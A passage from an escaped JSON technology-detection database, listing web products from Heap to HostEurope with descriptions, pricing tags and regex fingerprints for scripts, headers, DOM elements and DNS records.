],\n    \"description\": \"Heap is an analytics platform.\",\n    \"icon\": \"Heap.svg\",\n    \"js\": {\n      \"heap.version.heapJsVersion\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"high\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.heapanalytics\\\\.com\",\n      \"heap-\\\\d+\\\\.js\"\n    ],\n    \"website\": \"https://heap.io\"\n  },\n  \"Heartland Payment Systems\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Heartland Payment Systems is a US-based payment processing and technology provider.\",\n    \"icon\": \"Heartland Payment Systems.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.heartlandportico\\\\.com\"\n    ],\n    \"website\": \"https://www.heartlandpaymentsystems.com\"\n  },\n  \"Heeet\": {\n    \"cats\": [\n      10,\n      32\n    ],\n    \"description\": \"Heeet is a lead tracking and marketing analytics tool.\",\n    \"icon\": \"Heeet.svg\",\n    \"js\": {\n      \"heeet\": \"\",\n      \"heeetJourneyParams\": \"\",\n      \"heeetParams\": \"\",\n      \"heeetSaveJourney\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.heeet.io\"\n  },\n  \"Helhost\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Helhost is a web hosting provider and internet domain registrar from Democratic Republic of Congo.\",\n    \"dns\": {\n      \"NS\": \"\\\\.helhost\\\\.com\",\n      \"SOA\": \"\\\\.helhost\\\\.com\"\n    },\n    \"headers\": {\n      \"x-powered-by\": \"Helhost\"\n    },\n    \"icon\": \"Helhost.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.helhost\\\\.com/\"\n    ],\n    \"website\": \"https://www.helhost.com\"\n  },\n  \"HeliumWeb\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"HeliumWeb is a server-side (backend) web framework written in PHP & JavaScript\",\n    \"headers\": {\n      \"X-Powered-By\": \"Adrikikicp Development\"\n    },\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"helium.js\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"helium/src/helium.js/helium_web.js\",\n      \"http://maven.enriquitomcfh.ml/helium.js/helium_web.js\",\n      \"http://maven.enriquitomcfh.ml/helium.js/helium_web.min.js\"\n    ],\n    \"website\": \"https://heliumweb.adrikikicp-development.ml\"\n  },\n  \"Helix Ultimate\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Helix Ultimate a free template framework for Joomla.\",\n    \"dom\": [\n      \"header#sp-header, body.helix-ultimate\"\n    ],\n    \"icon\": \"HelixUltimate.svg\",\n    \"implies\": [\n      \"Joomla\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.joomshaper.com/joomla-templates/helixultimate\"\n  },\n  \"Helixo UFE\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Helixo UFE is a lightweight Shopify upsell sales funnel app.\",\n    \"icon\": \"Helixo.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"ufe.funnelData\": \"\",\n      \"ufeStore.cartTotal\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://helixo.co/upsell-funnel-engine/\"\n  },\n  \"Hello Bar\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Hello Bar is a customizable notification bar that draws visitors to an important call to action on the website.\",\n    \"icon\": \"Hello Bar.svg\",\n    \"js\": {\n      \"HelloBar\": \"\",\n      \"hellobarSiteSettings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.?hellobar\\\\.(?:com|js)\"\n    ],\n    \"website\": \"https://hellobar.com\"\n  },\n  \"Hello Elementor\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Hello Elementor is a WordPress theme built for the Elementor website builder platform. It uses minimal styling and scripts for maximum speed and design freedom.\",\n    \"dom\": {\n      \"link[id*='elementor-hello']\": {\n        \"attributes\": {\n          \"href\": \"elementor-hello\\\\S*\\\\.css(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n        }\n      },\n      \"link[id*='hello-elementor']\": {\n        \"attributes\": {\n          \"href\": \"hello-elementor\\\\S*\\\\.css(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n        }\n      },\n      \"script[id*='hello-elementor']\": {\n        \"text\": \"\"\n      }\n    },\n    \"icon\": \"Hello Elementor.svg\",\n    \"implies\": [\n      \"Elementor\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://elementor.com/hello-theme/\"\n  },\n  \"Hello Retail\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Hello Retail is an AI-driven platform that delivers personalized product recommendations, intelligent search, and email solutions for ecommerce.\",\n    \"icon\": \"HelloRetail.svg\",\n    \"js\": {\n      \"HELLO_RETAIL\": \"\",\n      \"HelloRetailSwiper\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//helloretailcdn\\\\.com/\"\n    ],\n    \"website\": \"https://helloretail.com\"\n  },\n  \"Help Scout\": {\n    \"cats\": [\n      13,\n      52\n    ],\n    \"description\": \"Help Scout is a customer service platform including email, a knowledge base tool and live chat.\",\n    \"icon\": \"Help Scout.svg\",\n    \"js\": {\n      \"__onBeaconDestroy\": \"\\\\;confidence:25\",\n      \"beaconStore\": \"\\\\;confidence:25\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.helpscout\\\\.net/\"\n    ],\n    \"website\": \"https://www.helpscout.com\"\n  },\n  \"HelpDocs\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"HelpDocs is an knowledge management system.\",\n    \"icon\": \"HelpDocs.svg\",\n    \"js\": {\n      \"HDAnalytics\": \"\\\\;confidence:25\",\n      \"HDUtils\": \"\\\\;confidence:25\",\n      \"hd_instant_search\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.helpdocs\\\\.io\"\n    ],\n    \"website\": \"https://www.helpdocs.io\"\n  },\n  \"Here\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"HERE is a PaaS for creating custom maps, visualize location datasets, gather insights and buy and sell location assets.\",\n    \"dom\": [\n      \"link[href*='//js\\\\.api\\\\.here\\\\.com/']\"\n    ],\n    \"icon\": \"here.svg\",\n    \"js\": {\n      \"H.buildInfo\": \"\",\n      \"H.geo\": \"\\\\;confidence:50\",\n      \"H.util\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.here.com\"\n  },\n  \"Hermes\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Hermes offers integrated solutions along the supply chain and partners with national and international trading companies.\",\n    \"icon\": \"Hermes.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bHermes\\\\b\"\n    ],\n    \"website\": \"https://www.hermesworld.com\"\n  },\n  \"Hero\": {\n    \"cats\": [\n      103\n    ],\n    \"description\": \"Hero is a virtual shopping platform for ecommerce and retail stores.\",\n    \"icon\": \"Hero.png\",\n    \"implies\": [\n      \"Cart Functionality\"\n    ],\n    \"js\": {\n      \"HeroWebPluginSettings\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.usehero\\\\.com\"\n    ],\n    \"website\": \"https://www.usehero.com/\"\n  },\n  \"Heroic\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Heroic is a platform that offers design templates and tools for creating websites.\",\n    \"icon\": \"Heroic.svg\",\n    \"pricing\": [\n      \"onetime\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.heroicnow\\\\.com/\"\n    ],\n    \"website\": \"https://heroicnow.com\"\n  },\n  \"Heroku\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Heroku is a cloud platform as a service (PaaS) supporting several programming languages.\",\n    \"dns\": {\n      \"TXT\": [\n        \"heroku-domain-verification\"\n      ]\n    },\n    \"headers\": {\n      \"Via\": \"[\\\\d.-]+ vegur$\"\n    },\n    \"icon\": \"heroku.svg\",\n    \"url\": [\n      \"\\\\.herokuapp\\\\.com\"\n    ],\n    \"website\": \"https://www.heroku.com/\"\n  },\n  \"Hesk\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Hesk is a helpdesk and customer support system.\",\n    \"icon\": \"Hesk.svg\",\n    \"js\": {\n      \"heskKBquery\": \"\",\n      \"hesk_rate\": \"\",\n      \"hesk_window\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.hesk.com\"\n  },\n  \"Hestia\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Hestia is a modern WordPress theme for professionals a multipurpose one-page design, widgetized footer, blog/news page, and a clean look.\",\n    \"dom\": {\n      \"body[class*='hestia-theme']\": {\n        \"text\": \"\"\n      },\n      \"link[id*='hestia']\": {\n        \"attributes\": {\n          \"href\": \"hestia\\\\S*\\\\.css(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"ThemeIsle.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"themes/hestia.*\\\\.js(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://themeisle.com/themes/hestia/\"\n  },\n  \"HetrixTools\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"HetrixTools is an uptime and blacklist monitoring platform.\",\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.hetrixtools\\\\.com\"\n    },\n    \"icon\": \"HetrixTools.svg\",\n    \"js\": {\n      \"htoolz\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.hetrixtools\\\\.com/\"\n    ],\n    \"website\": \"https://hetrixtools.com\"\n  },\n  \"Hetzner\": {\n    \"cats\": [\n      88,\n      62\n    ],\n    \"description\": \"Hetzner provides dedicated hosting, shared web hosting, virtual private servers, managed servers, domain names, SSL certificates, storage boxes, and cloud.\",\n    \"dns\": {\n      \"NS\": \"\\\\.ns\\\\.hetzner\\\\.com\",\n      \"SOA\": \"\\\\.hetzner\\\\.com\"\n    },\n    \"headers\": {\n      \"Server\": \"HeRay\",\n      \"X-Powered-By\": \"Hetzner\"\n    },\n    \"icon\": \"Hetzner.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.hetzner.com\"\n  },\n  \"Hexo\": {\n    \"cats\": [\n      57\n    ],\n    \"cpe\": \"cpe:2.3:a:hexo:hexo:*:*:*:*:*:node.js:*:*\",\n    \"description\": \"Hexo is a blog framework powered by Node.js.\",\n    \"html\": [\n      \"Powered by <a href=\\\"https?://hexo\\\\.io/?\\\"[^>]*>Hexo</\"\n    ],\n    \"icon\": \"Hexo.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"meta\": {\n      \"generator\": \"Hexo(?: v?([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://hexo.io\"\n  },\n  \"Hextom Free Shipping Bar\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Free Shipping Bar is a Shopify app built by Hextom. Free Shipping Bar help promote free shipping with progressive messages to motivate customers to buy more.\",\n    \"icon\": \"Hextom.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.hextom\\\\.com/js/freeshippingbar\\\\.js\"\n    ],\n    \"website\": \"https://hextom.com/case_study/free-shipping-bar\"\n  },\n  \"Hextom Ultimate Sales Boost\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Ultimate Sales Boost by Hextom is an app designed to help you drive more sales by creating a sense of urgency, scarcity and trust.\",\n    \"icon\": \"Hextom.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"hextom_usb\": \"\",\n      \"ht_usb.isLoaded\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.hextom\\\\.com/js/ultimatesalesboost\\\\.js\"\n    ],\n    \"website\": \"https://hextom.com/case_study/ultimate-sales-boost\"\n  },\n  \"HeyLight\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"HeyLight is a BNPL system allowing instalment payments for online purchases.\",\n    \"dom\": [\n      \"div#heidipay-container, div[data-heidipay], div#pagolight-pro-dialog, iframe#heidipay-iframe-product-description-pagolight, style#heyLightFonts\"\n    ],\n    \"icon\": \"HeyLight.svg\",\n    \"js\": {\n      \"closePagodilModal\": \"\",\n      \"openPagodilModal\": \"\",\n      \"pagodilLang\": \"\",\n      \"pagodilSprintf\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://heylight.com/it/it\"\n  },\n  \"HeySummit\": {\n    \"cats\": [\n      103\n    ],\n    \"description\": \"HeySummit is a platform facilitating the organization of virtual summits.\",\n    \"icon\": \"HeySummit.svg\",\n    \"js\": {\n      \"heySummitAnimationItems\": \"\",\n      \"prepHeySummitAnimationParent\": \"\",\n      \"resetHeySummitAnimation\": \"\",\n      \"startHeySummitAnimation\": \"\",\n      \"startHeySummitAnimationLoadTop\": \"\",\n      \"stopHeySummitAnimation\": \"\"\n    },\n    \"meta\": {\n      \"author\": \"^HeySummit$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://heysummit.com\"\n  },\n  \"Heyflow\": {\n    \"cats\": [\n      51,\n      110\n    ],\n    \"description\": \"Heyflow is an all-in-one platform that enables users to create interactive lead funnels, multi-step forms, and customized landing pages that drive conversions and engage website visitors, all without the need for coding.\",\n    \"icon\": \"Heyflow.svg\",\n    \"js\": {\n      \"webpackChunk_heyflow_widget\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.heyflow\\\\.app/\"\n    ],\n    \"website\": \"https://heyflow.com\"\n  },\n  \"Hi Platform\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Hi Platform provider of an online customer relationship platform.\",\n    \"dom\": [\n      \"link[href*='.hiplatform.com']\"\n    ],\n    \"icon\": \"Hi Platform.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.hiplatform\\\\.com/\"\n    ],\n    \"website\": \"https://www.hiplatform.com\"\n  },\n  \"HiPay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"HiPay is a payment gateway provider and payment orchestration platform.\",\n    \"icon\": \"HiPay.svg\",\n    \"js\": {\n      \"HiPay\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.hipay\\\\.com/\"\n    ],\n    \"website\": \"https://hipay.com/\"\n  },\n  \"Hiawatha\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"Hiawatha is a secure, lightweight web server developed by Hugo Leisink, designed for ease of use and advanced security features such as protection against SQL injections, XSS, and CSRF attacks.\",\n    \"headers\": {\n      \"Server\": \"Hiawatha v([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Hiawatha.png\",\n    \"oss\": true,\n    \"website\": \"https://gitlab.com/hsleisink/hiawatha\"\n  },\n  \"HighLevel\": {\n    \"cats\": [\n      32,\n      53\n    ],\n    \"description\": \"HighLevel is an all-in-one marketing and automation platform designed for marketing agencies and small businesses to manage CRM, marketing campaigns, sales funnels, appointment scheduling, and more.\",\n    \"icon\": \"HighLevel.svg\",\n    \"js\": {\n      \"leadConnector.chatWidget\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.leadconnectorhq\\\\.com/\"\n    ],\n    \"website\": \"https://www.gohighlevel.com\"\n  },\n  \"HighStore\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"HighStore is an ecommerce platform from Iran.\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"^HighStore\\\\.IR$\",\n      \"hs:version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://digitalserver.ir\"\n  },\n  \"Highcharts\": {\n    \"cats\": [\n      25\n    ],\n    \"cpe\": \"cpe:2.3:a:highcharts:highcharts:*:*:*:*:*:*:*:*\",\n    \"description\": \"Highcharts is a charting library written in pure JavaScript, for adding interactive charts to a website or web application. Highcharts meets accessibility standards and works with Python, Angular, React, iOS, Android, and more.\",\n    \"html\": [\n      \"<svg[^>]*><desc>Created with Highcharts ([\\\\d.]*)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Highcharts.svg\",\n    \"js\": {\n      \"Highcharts\": \"\",\n      \"Highcharts.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"highcharts.*\\\\.js\"\n    ],\n    \"website\": \"https://www.highcharts.com\"\n  },\n  \"Higher Logic\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Higher Logic is a digital marketing solution provider, formerly known as Informz.\",\n    \"icon\": \"Higher Logic.svg\",\n    \"js\": {\n      \"informz_trk\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.informz\\\\.net/\"\n    ],\n    \"website\": \"https://www.higherlogic.com\"\n  },\n  \"Higher Logic Vanilla\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"Higher Logic Vanilla is a cloud-based customer community platform offering features like discussion forums, Q&A, ideation, gamification, and advanced analytics, enabling businesses to enhance customer engagement and support.\",\n    \"dom\": [\n      \"body#DiscussionsPage, body#vanilla\"\n    ],\n    \"headers\": {\n      \" x-vanilla-version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"X-Powered-By\": \"Vanilla\"\n    },\n    \"icon\": \"Higher Logic.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"Vanilla\": \"\",\n      \"__VANILLA_GLOBALS__\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://vanilla.higherlogic.com\"\n  },\n  \"Highlight.io\": {\n    \"cats\": [\n      10,\n      13\n    ],\n    \"description\": \"Highlight.io is a monitoring software for developers, offering visibility into applications with features like session replay, error monitoring, and logging to identify frontend and backend issues.\",\n    \"icon\": \"HighlightIO.svg\",\n    \"js\": {\n      \"_highlightFetchPatch\": \"\",\n      \"_highlightWebSocketEventCallback\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"unpkg\\\\.com/highlight\\\\.run\"\n    ],\n    \"website\": \"https://www.highlight.io/\"\n  },\n  \"Highlight.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Highlight.js is a JavaScript library for syntax highlighting, supporting 192 languages and 496 themes.\",\n    \"icon\": \"Highlight.js.svg\",\n    \"js\": {\n      \"hljs.highlightBlock\": \"\",\n      \"hljs.listLanguages\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/(?:([\\\\d.])+/)?highlight(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://highlightjs.org/\"\n  },\n  \"Highstock\": {\n    \"cats\": [\n      25\n    ],\n    \"html\": [\n      \"<svg[^>]*><desc>Created with Highstock ([\\\\d.]*)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Highcharts.svg\",\n    \"scriptSrc\": [\n      \"highstock[.-]?([\\\\d\\\\.]*\\\\d).*\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://highcharts.com/products/highstock\"\n  },\n  \"HikeOrders\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"HikeOrders is a web accessibility overlay that claims to make your site disability friendly.\",\n    \"icon\": \"HikeOrders.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"hikeorders\\\\.com/main/assets/js/hko-accessibility\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://hikeorders.com\"\n  },\n  \"Hinza Advanced CMS\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"icon\": \"hinza_advanced_cms.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"meta\": {\n      \"generator\": \"hinzacms\"\n    },\n    \"website\": \"https://hinzaco.com\"\n  },\n  \"Hireology\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Hireology is a staffing and hiring platform for the franchise and retail-automotive industries.\",\n    \"dom\": [\n      \"a[href*='sites.hireology.com/']\"\n    ],\n    \"icon\": \"Hireology.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"url\": [\n      \"sites\\\\.hireology\\\\.com/\"\n    ],\n    \"website\": \"https://hireology.com\"\n  },\n  \"Hirschmann HiOS\": {\n    \"cats\": [\n      28\n    ],\n    \"cpe\": \"cpe:2.3:o:belden:hirschmann_hios:*:*:*:*:*:*:*:*\",\n    \"description\": \"Hirschmann HiOS is an operating system for industrial network equipment.\",\n    \"dom\": {\n      \"div\": {\n        \"text\": \"(HiSecOS-|HiOS-.+-)(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\\\\;version:\\\\2\"\n      },\n      \"h2\": {\n        \"text\": \"(HiSecOS-|HiOS-.+-)(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\\\\;version:\\\\2\"\n      }\n    },\n    \"icon\": \"hirschmann_OS.png\",\n    \"requires\": [\n      \"Java\",\n      \"Google Web Toolkit\"\n    ],\n    \"website\": \"https://hirschmann.com/\"\n  },\n  \"Histats\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Histats is a simple website visitor analysis and tracking tool.\",\n    \"dom\": [\n      \"img[src*='.histats.com/']\"\n    ],\n    \"icon\": \"Histats.svg\",\n    \"js\": {\n      \"Histats.ver\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.histats.com\"\n  },\n  \"History\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Manage session history with JavaScript\",\n    \"scriptSrc\": [\n      \"/history(@|/)([\\\\d.]+)(?:/[a-z]+)?/history(?:(.production|.development))?(?:.min)?\\\\.js\\\\;version:\\\\2\"\n    ],\n    \"website\": \"https://github.com/ReactTraining/history\"\n  },\n  \"Hiver\": {\n    \"cats\": [\n      53,\n      75\n    ],\n    \"description\": \"Hiver is a tool that transforms Gmail into a collaboration and customer support system.\",\n    \"dom\": [\n      \"link[href*='chat-widget.hiverhq.com']\"\n    ],\n    \"icon\": \"Hiver.svg\",\n    \"js\": {\n      \"$hiverChatWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"chat-widget\\\\.hiverhq\\\\.com/\"\n    ],\n    \"website\": \"https://hiverhq.com\"\n  },\n  \"Hocalwire\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Hocalwire is a simplified newsroom CMS platform focused on Digital Media Publishers.\",\n    \"dom\": [\n      \"link[href*='//hocalwire.com']\"\n    ],\n    \"icon\": \"Hocalwire.svg\",\n    \"js\": {\n      \"Hocalwire\": \"\",\n      \"hocalApiEndPoints\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.hocalwire.com\"\n  },\n  \"HockeyStack\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"HockeyStack is a San Francisco-based analytics and attribution tool for B2B companies.\",\n    \"icon\": \"HockeyStack.svg\",\n    \"js\": {\n      \"HockeyStack\": \"\",\n      \"hsscript\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://hockeystack.com\"\n  },\n  \"Hoefler&Co\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Hoefler&Co is a digital type foundry (font design studio) in Woburn, Massachusetts (formerly New York City), founded by type designer Jonathan Hoefler. Hoefler&Co designs typefaces for clients and for retail on its website.\",\n    \"dom\": [\n      \"link[href*='cloud.typography.com/']\"\n    ],\n    \"icon\": \"Hoefler&Co.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.typography.com\"\n  },\n  \"Hogan.js\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Hogan.js is a JavaScript templating engine developed by Twitter, designed for both client-side and server-side applications, and it follows the Mustache template syntax for efficient and flexible template rendering.\",\n    \"icon\": \"Hogan.js.svg\",\n    \"js\": {\n      \"Hogan\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"hogan-[.-]([\\\\d.]*\\\\d)[^/]*\\\\.js\\\\;version:\\\\1\",\n      \"([\\\\d.]+)/hogan(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://twitter.github.io/hogan.js/\"\n  },\n  \"Holduix CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Holduix CMS is a lightweight content management solution designed to offer developers and end users a customizable experience.\",\n    \"icon\": \"HolduixCMS.svg\",\n    \"js\": {\n      \"HolduixConfig.baseURL\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.holduix.dev\"\n  },\n  \"HollerBox\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"HollerBox is a lead generation popup tool for WordPress.\",\n    \"icon\": \"HollerBox.svg\",\n    \"js\": {\n      \"HollerBox.active\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://hollerwp.com\"\n  },\n  \"HomHero\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Homhero is a platform that offers a range of tools and services to help vacation rental owners manage their properties and bookings.\",\n    \"dom\": [\n      \"script#homhero-scripts-js\"\n    ],\n    \"icon\": \"HomHero.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://homhero.com.au\"\n  },\n  \"Homerr\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Homerr is a logistics company operating in the Netherlands and Belgium.\",\n    \"icon\": \"Homerr.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bHomerr\\\\b\"\n    ],\n    \"website\": \"https://www.homerr.com\"\n  },\n  \"Homestead\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Homestead is a website builder.\",\n    \"icon\": \"Homestead.png\",\n    \"meta\": {\n      \"generator\": \"^Homestead SiteBuilder$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.homestead.com\"\n  },\n  \"Honeybadger\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Honeybadger provides exception and uptime monitoring to keep your web apps error-free.\",\n    \"icon\": \"honey-badger.svg\",\n    \"js\": {\n      \"Honeybadger\": \"\",\n      \"initHoneyBadger\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.honeybadger.io\"\n  },\n  \"Hono\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Hono is a small, simple, and ultrafast web framework for the Edge.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Hono\"\n    },\n    \"icon\": \"Hono.svg\",\n    \"oss\": true,\n    \"website\": \"https://hono.dev\"\n  },\n  \"HostEurope\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"HostEurope is a European website hosting, email and domain name registrar company headquartered Hayes, West London.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.hosteurope\\\\.com\"\n    },\n    